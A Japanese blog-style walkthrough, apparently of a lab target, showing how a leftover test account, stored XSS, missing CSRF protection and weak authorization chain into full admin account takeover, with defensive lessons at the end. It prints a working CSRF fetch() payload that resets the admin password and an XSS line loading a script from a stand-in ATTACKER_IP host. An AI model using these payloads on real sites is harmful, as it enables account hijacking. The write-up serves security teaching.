はじめに
多くの人は「致命的な脆弱性」を探そうとします。
しかし、現実の侵害は“小さな問題の連鎖”で起こることがほとんどです。
本記事では、
一見すると軽微に見える複数の問題を組み合わせ、最終的に管理者アカウントを完全に乗っ取るまでの攻撃チェーンを、段階的に解説します。
ポイントは「単体では低リスク」でも、組み合わさると致命的になるという視点です。
攻撃シナリオ全体像
今回のゴールは以下です。
- ❌ 管理者パスワードを直接推測しない
- ❌ 0-day や RCE を使わない
- ✅ “よくあるミス”だけで管理者権限を奪取する
使われた弱点は、たったの4つです。
- 開発用テストアカウントの残存
- Stored XSS
- CSRF 対策の欠如
- 認証＝認可という設計ミス
では、順に見ていきましょう。
Step 1: 開発者が残したテストアカウント
攻撃者がログイン画面を見ると、まず試すのは「簡単な資格情報」です。
今回のアプリケーション（http://TARGET_IP/）には、以下の 開発者用テストアカウント が残っていました。
-
Username:
testuser -
Password:
password123
これは驚くほどよくあるミスです。
- ステージング環境のつもりだった
- 削除し忘れた
- 「どうせ外部から見えない」と思っていた
結果として、攻撃者は即ログイン成功します。
ここではまだ「低権限ユーザー」です。
しかし、“中に入れた”ことがすでに重要です。
Step 2: プロフィール編集に潜む Stored XSS
ログイン後、攻撃者は自然にアプリを触ります。
そこで目に入ったのが プロフィール編集画面。
display name に入力した値が、エスケープされずにそのまま画面に表示されていました。
試しに次を入力します。
<script>alert(1)</script>
結果は――
アラートが実行される。
つまりこれは Stored XSS です。
- 入力は DB に保存される
- 表示時に無加工で描画される
- 誰が見ても実行される
単体では「管理者に見てもらわないと意味がない」
しかし、ここからが攻撃者の思考です。
Step 3: XSS × CSRF で管理者の資格情報を書き換える
Stored XSS が本当に怖いのは、**“被害者のブラウザで実行される”**点です。
ここで攻撃者は考えます。
- 管理者はユーザープロフィールを見る可能性がある
- 管理者はすでにログインしている
- 同一オリジンのリクエストなら Cookie は自動送信される
さらに調査すると、このアプリには CSRF トークンが存在しません。
つまり――
JavaScript から POST するだけで管理者操作ができる。
攻撃用スクリプト（test.js）
fetch('/update_email.php', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body: 'email=pwnedadmin@evil.local&password=pwnedadmin'
});
このスクリプトを攻撃者サーバでホストします。
python3 -m http.server 8000
XSS ペイロード
プロフィールの display name を次に変更します。
<script src="http://ATTACKER_IP:8001/test.js"></script>
何が起きるか？
- 管理者が testuser のプロフィールを見る
- test.js が 管理者のブラウザで実行
- 管理者のセッション Cookie を使って
- 管理者自身の email / password が変更される
管理者は何もクリックしていません。
ログもほぼ残りません。
Step 4: 管理者としてログイン
あとは簡単です。
-
Username:
admin -
Password:
pwnedadmin
正規のログイン画面からログインするだけ。
これで攻撃者は、
- 管理画面
- ユーザー管理
- データ操作
すべての管理者機能を完全に掌握しました。
なぜこの攻撃は成立したのか？
重要なのは、どれも単体では“即死級”ではない点です。
| 問題 | 単体の評価 |
|---|---|
| テストアカウント | よくある運用ミス |
| Stored XSS | 影響は限定的に見える |
| CSRF 対策なし | 認証済みなら問題ないと思われがち |
| 認証＝認可 | 設計上の思い込み |
しかし、これらを連鎖させると完全侵害になります。
攻撃者は「1個の致命傷」を探さない
“つなげられる小さな穴”を探す
防御側が学ぶべき教訓
- テストアカウントは 本番に置かない
- 出力時エスケープは 必須
- CSRF 対策は ログイン後こそ重要
- 「ログインできる＝全部OK」は危険
セキュリティは点ではなく線です。
まとめ
この攻撃は、特別なテクニックを使っていません。
必要なのは 「攻撃者の視点」だけです。
- 低権限でも中に入る
- 小さな挙動の違和感を拾う
- 機能同士をつなげる
これができた瞬間、
“軽微な脆弱性”は“完全侵害”に変わります。
他の弱点ーLoginページ
何回失敗しても試せます。
評価は
ユーザ名かパスワード列挙ができる弱点がある。❌【重大】